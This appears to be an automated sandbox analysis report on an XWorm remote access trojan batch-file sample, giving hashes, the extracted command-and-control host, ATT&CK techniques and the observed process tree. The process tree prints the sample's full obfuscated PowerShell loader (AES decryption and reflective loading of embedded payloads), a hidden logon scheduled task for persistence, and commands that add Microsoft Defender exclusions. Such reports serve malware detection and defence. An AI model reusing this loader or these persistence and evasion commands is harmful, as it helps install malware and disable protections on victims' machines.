xworm | c5ef061354d898c115f3047521fda46402f2516b64c70a98ccd6315b32447855

Analysis

max time kernel
147s
max time network
163s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
07/09/2024, 17:07

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General

Target

XClient.bat
Size

1.2MB
MD5

b8a030e706b3e3868339592f0fb3a293
SHA1

c2dc760f1742cd5de9962dc60819891104be6646
SHA256

c5ef061354d898c115f3047521fda46402f2516b64c70a98ccd6315b32447855
SHA512

5f44c67b6540fb16148d3f3b295cf151767def898042059d2bf1c7ed3a71c938206fd47c12d642419f16719b93c954e5518d75195533b821f68607095df9c60a
SSDEEP

24576:nMWULp7/e21VZf5hFIka5IcCECBRSqL7m9pSsSClzjT:vUc21VHIka5IyqL7Uf1lz

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

super-nearest.gl.at.ply.gg:17835

Attributes

install_file
USB.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/3704-52-0x0000015C71550000-0x0000015C7156A000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
21	3704	powershell.exe
26	3704	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4664	powershell.exe
3704	powershell.exe
1292	powershell.exe
1292	powershell.exe
3704	powershell.exe
4396	powershell.exe
2000	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	WScript.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
20	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000_Classes\Local Settings	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1292	powershell.exe
1292	powershell.exe
4664	powershell.exe
4664	powershell.exe
3704	powershell.exe
3704	powershell.exe
4396	powershell.exe
4396	powershell.exe
2000	powershell.exe
2000	powershell.exe
3704	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1292	powershell.exe
Token: SeDebugPrivilege	4664	powershell.exe
Token: SeIncreaseQuotaPrivilege	4664	powershell.exe
Token: SeSecurityPrivilege	4664	powershell.exe
Token: SeTakeOwnershipPrivilege	4664	powershell.exe
Token: SeLoadDriverPrivilege	4664	powershell.exe
Token: SeSystemProfilePrivilege	4664	powershell.exe
Token: SeSystemtimePrivilege	4664	powershell.exe
Token: SeProfSingleProcessPrivilege	4664	powershell.exe
Token: SeIncBasePriorityPrivilege	4664	powershell.exe
Token: SeCreatePagefilePrivilege	4664	powershell.exe
Token: SeBackupPrivilege	4664	powershell.exe
Token: SeRestorePrivilege	4664	powershell.exe
Token: SeShutdownPrivilege	4664	powershell.exe
Token: SeDebugPrivilege	4664	powershell.exe
Token: SeSystemEnvironmentPrivilege	4664	powershell.exe
Token: SeRemoteShutdownPrivilege	4664	powershell.exe
Token: SeUndockPrivilege	4664	powershell.exe
Token: SeManageVolumePrivilege	4664	powershell.exe
Token: 33	4664	powershell.exe
Token: 34	4664	powershell.exe
Token: 35	4664	powershell.exe
Token: 36	4664	powershell.exe
Token: SeIncreaseQuotaPrivilege	4664	powershell.exe
Token: SeSecurityPrivilege	4664	powershell.exe
Token: SeTakeOwnershipPrivilege	4664	powershell.exe
Token: SeLoadDriverPrivilege	4664	powershell.exe
Token: SeSystemProfilePrivilege	4664	powershell.exe
Token: SeSystemtimePrivilege	4664	powershell.exe
Token: SeProfSingleProcessPrivilege	4664	powershell.exe
Token: SeIncBasePriorityPrivilege	4664	powershell.exe
Token: SeCreatePagefilePrivilege	4664	powershell.exe
Token: SeBackupPrivilege	4664	powershell.exe
Token: SeRestorePrivilege	4664	powershell.exe
Token: SeShutdownPrivilege	4664	powershell.exe
Token: SeDebugPrivilege	4664	powershell.exe
Token: SeSystemEnvironmentPrivilege	4664	powershell.exe
Token: SeRemoteShutdownPrivilege	4664	powershell.exe
Token: SeUndockPrivilege	4664	powershell.exe
Token: SeManageVolumePrivilege	4664	powershell.exe
Token: 33	4664	powershell.exe
Token: 34	4664	powershell.exe
Token: 35	4664	powershell.exe
Token: 36	4664	powershell.exe
Token: SeIncreaseQuotaPrivilege	4664	powershell.exe
Token: SeSecurityPrivilege	4664	powershell.exe
Token: SeTakeOwnershipPrivilege	4664	powershell.exe
Token: SeLoadDriverPrivilege	4664	powershell.exe
Token: SeSystemProfilePrivilege	4664	powershell.exe
Token: SeSystemtimePrivilege	4664	powershell.exe
Token: SeProfSingleProcessPrivilege	4664	powershell.exe
Token: SeIncBasePriorityPrivilege	4664	powershell.exe
Token: SeCreatePagefilePrivilege	4664	powershell.exe
Token: SeBackupPrivilege	4664	powershell.exe
Token: SeRestorePrivilege	4664	powershell.exe
Token: SeShutdownPrivilege	4664	powershell.exe
Token: SeDebugPrivilege	4664	powershell.exe
Token: SeSystemEnvironmentPrivilege	4664	powershell.exe
Token: SeRemoteShutdownPrivilege	4664	powershell.exe
Token: SeUndockPrivilege	4664	powershell.exe
Token: SeManageVolumePrivilege	4664	powershell.exe
Token: 33	4664	powershell.exe
Token: 34	4664	powershell.exe
Token: 35	4664	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3704	powershell.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 3200 wrote to memory of 3232	3200	cmd.exe	84
PID 3200 wrote to memory of 3232	3200	cmd.exe	84
PID 3232 wrote to memory of 892	3232	net.exe	85
PID 3232 wrote to memory of 892	3232	net.exe	85
PID 3200 wrote to memory of 1292	3200	cmd.exe	89
PID 3200 wrote to memory of 1292	3200	cmd.exe	89
PID 1292 wrote to memory of 4664	1292	powershell.exe	93
PID 1292 wrote to memory of 4664	1292	powershell.exe	93
PID 1292 wrote to memory of 2716	1292	powershell.exe	96
PID 1292 wrote to memory of 2716	1292	powershell.exe	96
PID 2716 wrote to memory of 2700	2716	WScript.exe	98
PID 2716 wrote to memory of 2700	2716	WScript.exe	98
PID 2700 wrote to memory of 516	2700	cmd.exe	100
PID 2700 wrote to memory of 516	2700	cmd.exe	100
PID 516 wrote to memory of 2864	516	net.exe	101
PID 516 wrote to memory of 2864	516	net.exe	101
PID 2700 wrote to memory of 3704	2700	cmd.exe	104
PID 2700 wrote to memory of 3704	2700	cmd.exe	104
PID 3704 wrote to memory of 4396	3704	powershell.exe	105
PID 3704 wrote to memory of 4396	3704	powershell.exe	105
PID 3704 wrote to memory of 2000	3704	powershell.exe	107
PID 3704 wrote to memory of 2000	3704	powershell.exe	107

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\XClient.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3200
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3232
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Ntd78gJaNeTB9uccsBmyFEpFXYpPntO6w2gEPwqT9H4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FG5+7dZF2vZrti57+awqHg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $UNkgj=New-Object System.IO.MemoryStream(,$param_var); $iMhLz=New-Object System.IO.MemoryStream; $KtFfW=New-Object System.IO.Compression.GZipStream($UNkgj, [IO.Compression.CompressionMode]::Decompress); $KtFfW.CopyTo($iMhLz); $KtFfW.Dispose(); $UNkgj.Dispose(); $iMhLz.Dispose(); $iMhLz.ToArray();}function execute_function($param_var,$param2_var){ $oSAyi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $OQePq=$oSAyi.EntryPoint; $OQePq.Invoke($null, $param2_var);}function Add-DefenderExclusion($path_var){ try { Add-MpPreference -ExclusionPath $path_var; } catch { }}$gqQUH = 'C:\Users\Admin\AppData\Local\Temp\XClient.bat';$host.UI.RawUI.WindowTitle = $gqQUH;$YRSCz=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($gqQUH).Split([Environment]::NewLine);foreach ($zmTnt in $YRSCz) { if ($zmTnt.StartsWith(':: ')) { $ynWoU=$zmTnt.Substring(3); break; }}$payloads_var=[string[]]$ynWoU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));Add-DefenderExclusion $gqQUH;execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1292
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_120_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_120.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4664
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_120.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2716
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_120.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2700
    - - C:\Windows\system32\net.exe
        
        net file
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:516
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 file
        6⤵
        
        PID:2864
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Ntd78gJaNeTB9uccsBmyFEpFXYpPntO6w2gEPwqT9H4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FG5+7dZF2vZrti57+awqHg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $UNkgj=New-Object System.IO.MemoryStream(,$param_var); $iMhLz=New-Object System.IO.MemoryStream; $KtFfW=New-Object System.IO.Compression.GZipStream($UNkgj, [IO.Compression.CompressionMode]::Decompress); $KtFfW.CopyTo($iMhLz); $KtFfW.Dispose(); $UNkgj.Dispose(); $iMhLz.Dispose(); $iMhLz.ToArray();}function execute_function($param_var,$param2_var){ $oSAyi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $OQePq=$oSAyi.EntryPoint; $OQePq.Invoke($null, $param2_var);}function Add-DefenderExclusion($path_var){ try { Add-MpPreference -ExclusionPath $path_var; } catch { }}$gqQUH = 'C:\Users\Admin\AppData\Roaming\startup_str_120.bat';$host.UI.RawUI.WindowTitle = $gqQUH;$YRSCz=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($gqQUH).Split([Environment]::NewLine);foreach ($zmTnt in $YRSCz) { if ($zmTnt.StartsWith(':: ')) { $ynWoU=$zmTnt.Substring(3); break; }}$payloads_var=[string[]]$ynWoU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));Add-DefenderExclusion $gqQUH;execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:3704
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4396
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2000

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
661739d384d9dfd807a089721202900b

SHA1
5b2c5d6a7122b4ce849dc98e79a7713038feac55

SHA256
70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

SHA512
81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
3c2a00f0fd823b88bf228b8472979845

SHA1
5dcc2f4e9282bdeb5d9f1b4ff6e790b8636d1482

SHA256
aaabc9856198107bc7a94bff5bcba1cd02e7adc24527e8794300e57ee7dd2ba4

SHA512
7f90eedab256355659676eddfa504a6fb08f016c610166b4abbea5b0d6a94a1c834ebae011eefdd68e23df4558c3a72c33ef887de7d62d70ea179bbd8b01fce9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wm4xgeit.zbo.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_120.bat

Filesize
1.2MB

MD5
b8a030e706b3e3868339592f0fb3a293

SHA1
c2dc760f1742cd5de9962dc60819891104be6646

SHA256
c5ef061354d898c115f3047521fda46402f2516b64c70a98ccd6315b32447855

SHA512
5f44c67b6540fb16148d3f3b295cf151767def898042059d2bf1c7ed3a71c938206fd47c12d642419f16719b93c954e5518d75195533b821f68607095df9c60a

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_120.vbs

Filesize
115B

MD5
38ecd8a0fb1393c7394095882a71f131

SHA1
f17201d2d2e00167e7786766b2da546b5e50c028

SHA256
1ea700303afd0e245e8342593f0da8c65ddad1509fd7b6e4401277079b227d61

SHA512
f377054e2b68b07d39bdf2c9d33ce0565b9b1dbddc3631af7a0d8624fd58df437c3671b507f4942a1a444de7edf86c4b7ab150f21f1807b064e358ebd3645573

Download Submit
memory/1292-39-0x00007FF9F83B3000-0x00007FF9F83B5000-memory.dmp

Filesize
8KB

Download
memory/1292-40-0x00007FF9F83B0000-0x00007FF9F8E71000-memory.dmp

Filesize
10.8MB

Download
memory/1292-1-0x00000259F8B60000-0x00000259F8B82000-memory.dmp

Filesize
136KB

Download
memory/1292-41-0x00007FF9F83B0000-0x00007FF9F8E71000-memory.dmp

Filesize
10.8MB

Download
memory/1292-0-0x00007FF9F83B3000-0x00007FF9F83B5000-memory.dmp

Filesize
8KB

Download
memory/1292-14-0x00000259F8DB0000-0x00000259F8DC4000-memory.dmp

Filesize
80KB

Download
memory/1292-13-0x00000259DE820000-0x00000259DE828000-memory.dmp

Filesize
32KB

Download
memory/1292-12-0x00007FF9F83B0000-0x00007FF9F8E71000-memory.dmp

Filesize
10.8MB

Download
memory/1292-11-0x00007FF9F83B0000-0x00007FF9F8E71000-memory.dmp

Filesize
10.8MB

Download
memory/3704-52-0x0000015C71550000-0x0000015C7156A000-memory.dmp

Filesize
104KB

Download
memory/4664-30-0x00007FF9F83B0000-0x00007FF9F8E71000-memory.dmp

Filesize
10.8MB

Download
memory/4664-16-0x00007FF9F83B0000-0x00007FF9F8E71000-memory.dmp

Filesize
10.8MB

Download
memory/4664-27-0x00007FF9F83B0000-0x00007FF9F8E71000-memory.dmp

Filesize
10.8MB

Download
memory/4664-26-0x00007FF9F83B0000-0x00007FF9F8E71000-memory.dmp

Filesize
10.8MB

Download